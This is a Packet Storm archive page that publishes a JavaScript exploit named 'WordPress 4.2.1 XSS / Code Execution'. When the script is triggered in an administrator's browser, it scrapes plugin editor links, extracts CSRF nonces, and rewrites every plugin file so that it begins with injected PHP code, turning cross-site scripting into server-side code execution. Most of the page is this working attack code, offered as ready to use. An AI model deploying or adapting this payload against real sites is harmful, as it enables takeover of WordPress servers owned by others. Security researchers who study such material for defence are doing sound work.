Exploit the possiblities

WordPress 4.2.1 XSS / Code Execution

WordPress 4.2.1 XSS / Code Execution
Posted May 5, 2015
Authored by Evex

Exploit that uses a WordPress cross site scripting flaw to execute code as the administrator.

tags | exploit, xss
MD5 | 9a04af37341fdd422f7a74cb9e814084

WordPress 4.2.1 XSS / Code Execution

Change Mirror Download
/*
Author: @Evex_1337
Title: Wordpress XSS to RCE
Description: This Exploit Uses XSS Vulnerabilities in Wordpress
Plugins/Themes/Core To End Up Executing Code After The Being Triggered With
Administrator Previliged User. ¯\_(ツ)_/¯
Reference: http://research.evex.pw/?vuln=14
Enjoy.

*/
//Installed Plugins Page
plugins = (window.location['href'].indexOf('/wp-admin/') != - 1) ?
'plugins.php' : 'wp-admin/plugins.php';
//Inject "XSS" Div
jQuery('body').append('<div id="xss" ></div>');
xss_div = jQuery('#xss');
xss_div.hide();
//Get Installed Plugins Page Source and Append it to "XSS" Div
jQuery.ajax({
url: plugins,
type: 'GET',
async: false,
cache: false,
timeout: 30000,
success: function (txt) {
xss_div.html(txt);
}
});
//Put All Plugins Edit URL in Array
plugins_edit = [
];
xss_div.find('a').each(function () {
if (jQuery(this).attr('href').indexOf('?file=') != - 1) {
plugins_edit.push(jQuery(this).attr('href'));
}
});
//Inject Payload
for (var i = 0; i < plugins_edit.length; i++) {
jQuery.ajax({
url: plugins_edit[i],
type: 'GET',
async: false,
cache: false,
timeout: 30000,
success: function (txt) {
xss_div.html(txt);
_wpnonce =
jQuery('form#template').context.body.innerHTML.match('name="_wpnonce"
value="(.*?)"') [1];
old_code = jQuery('form#template div textarea#newcontent') [0].value;
payload = '<?php phpinfo(); ?>';
new_code = payload + '\n' + old_code;
file = plugins_edit[i].split('file=') [1];
jQuery.ajax({
url: plugins_edit[i],
type: 'POST',
data: {
'_wpnonce': _wpnonce,
'newcontent': new_code,
'action': 'update',
'file': file,
'submit': 'Update File'
},
async: false,
cache: false,
timeout: 30000,
success: function (txt) {
xss_div.html(txt);
if (jQuery('form#template div textarea#newcontent')
[0].value.indexOf(payload) != - 1) {
// Passed, this is up to you ( skiddies Filter :D )
injected_file = window.location.href.split('wp-admin') [0] +
'/wp-content/plugins/' + file; //
http://localhost/wp//wp-content/plugins/504-redirects/redirects.php
throw new Error('');
}
}
});
}
});
}

Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

Want To Donate?


Bitcoin: 18PFeCVLwpmaBuQqd5xAYZ8bZdvbyEWMmU

File Archive:

February 2018

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Feb 1st
    15 Files
  • 2
    Feb 2nd
    15 Files
  • 3
    Feb 3rd
    15 Files
  • 4
    Feb 4th
    13 Files
  • 5
    Feb 5th
    16 Files
  • 6
    Feb 6th
    15 Files
  • 7
    Feb 7th
    15 Files
  • 8
    Feb 8th
    15 Files
  • 9
    Feb 9th
    18 Files
  • 10
    Feb 10th
    8 Files
  • 11
    Feb 11th
    8 Files
  • 12
    Feb 12th
    17 Files
  • 13
    Feb 13th
    15 Files
  • 14
    Feb 14th
    15 Files
  • 15
    Feb 15th
    17 Files
  • 16
    Feb 16th
    18 Files
  • 17
    Feb 17th
    37 Files
  • 18
    Feb 18th
    0 Files
  • 19
    Feb 19th
    0 Files
  • 20
    Feb 20th
    0 Files
  • 21
    Feb 21st
    0 Files
  • 22
    Feb 22nd
    0 Files
  • 23
    Feb 23rd
    0 Files
  • 24
    Feb 24th
    0 Files
  • 25
    Feb 25th
    0 Files
  • 26
    Feb 26th
    0 Files
  • 27
    Feb 27th
    0 Files
  • 28
    Feb 28th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2018 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close